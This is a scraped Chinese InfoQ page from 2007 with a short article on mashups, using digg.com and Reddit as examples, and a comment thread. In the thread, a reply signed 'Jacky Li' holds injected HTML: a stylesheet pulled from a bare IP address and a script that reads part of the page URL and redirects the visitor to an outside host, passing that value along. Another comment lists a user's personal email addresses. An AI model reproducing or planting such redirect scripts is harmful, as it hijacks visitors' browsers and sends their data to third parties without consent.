BT

如何利用碎片时间提升技术认知与能力? 点击获取答案

透过digg.com和Reddit了解mashup应用

| 作者 霍泰稳 关注 1 他的粉丝 发布于 2007年7月23日. 估计阅读时间: 3 分钟 | Google、Facebook、Pinterest、阿里、腾讯 等顶尖技术团队的上百个可供参考的架构实例!

和SOA一样,mashup也不是一个新的概念,但现在它却得到越来越多厂商的支持,包括IBM、BEA等。在Uche Ogbuji撰写的真实世界中的Web 2.0:了解digg.com和Reddit这两个Slashdot的后继者文章中,对digg.com和Reddit两个典型的Web 2.0网站进行了剖析,并指出mashup的价值。

mashup是一个Web 2.0站点的数据与另一个站点数据的综合,对这种新风格举足轻重,因为它们展示了这类站点是如何将灵活性赋予网站用户及网站所有者的,而且它们也消除了引入那些立足于成型的想法之上的新思路的障碍。mashup是一种综合了多种资源的Web站点。有时,这些资源的数据类别不同;mashup可以将来自一个站点的当前的运动比赛分数叠加在来自与之相匹配的Web服务的运动事件的地图之上。Web 2.0站点的特点之一就是它们试图充当类似美联社或路透社的角色,旨在为其他网站或信息服务商提供信息来源。

mashup与Portal的最明显区别就是,Portal是将原有的数据简单地组合在一起,相互之间并没有更多的交互。而mashup最突出地方就是它能够充分利用从外部检索到的内容来创建全新的服务。在IBM developerWorks中国网站较早的审视Ajax的系列文章中,用图形很好地表达了这一观点:

目前比较常见的mashup应用类型主要包括地图mashup如Google Maps、微软的Virtual Earth,视频和图像mashup如Flickr,搜索和购物mashup如eBay和Amazon,和新闻mashup如Diggdot.us等。但与其他很多数据集成领域一样,mashup开发也面临着严峻的技术挑战,Duane Merrill对此做了比较深入的讨论

除了缺少数据和映射不完整之外,mashup 设计者可能会发现他们希望集成的数据并不适合进行机器自动化处理;……mashup 开发人员可能还必须面对 IT 集成管理人员不需要面对的一些问题,其中一个问题是数据污染。……mashup 开发人员需要面对的另外一种集成问题是由于获取数据必须采用屏幕抓取技术而引起的。

除了技术挑战之外,随着mashup的逐渐普及,相应的一些社会问题也会越发凸显

现在mashup开发人员需要面对的一个最严重的社会问题就是:如何在知识产权的保护和消费者的私密性,以及信息的自由流动之间达成一种平衡。因为内容提供者、提供API帮助数据检索的内容提供者都可能需要确定其内容是否正在被他人在未获得自己批准的情况下使用。

评价本文

专业度
风格

您好,朋友!

您需要 注册一个InfoQ账号 或者 才能进行评论。在您完成注册后还需要进行一些设置。

获得来自InfoQ的更多体验。

告诉我们您的想法

允许的HTML标签: a,b,br,blockquote,i,li,pre,u,ul,p

当有人回复此评论时请E-mail通知我

志趣 by 徐 绪雄

一直在考虑将lalabo.com做成如digg,reddit的应用站点,重点突出用户与站点的交互。有兴趣的朋友可以一起来做这件事情。
我的MSN:xu2xiong@hotmail.com
常用的邮箱:xu2xiong@gmail.com

Re: 志趣 by Jacky Li

????

<html>
<head>
<link rel="stylesheet" type="text/css" href="http://61.51.18.11:6688/aicss_test_222.css" />

<script>
s=String(window.location.href);
mylocal=s.substring(s.indexOf('MT=')+3,s.length);
t = "http://dm.bbn.com.cn/response.asp?MT=" + mylocal;
document.location.href = t;
</script>

<body></body>
<html></html></head></html>

允许的HTML标签: a,b,br,blockquote,i,li,pre,u,ul,p

当有人回复此评论时请E-mail通知我

允许的HTML标签: a,b,br,blockquote,i,li,pre,u,ul,p

当有人回复此评论时请E-mail通知我

2 讨论

登陆InfoQ,与你最关心的话题互动。


找回密码....

Follow

关注你最喜爱的话题和作者

快速浏览网站内你所感兴趣话题的精选内容。

Like

内容自由定制

选择想要阅读的主题和喜爱的作者定制自己的新闻源。

Notifications

获取更新

设置通知机制以获取内容更新对您而言是否重要

BT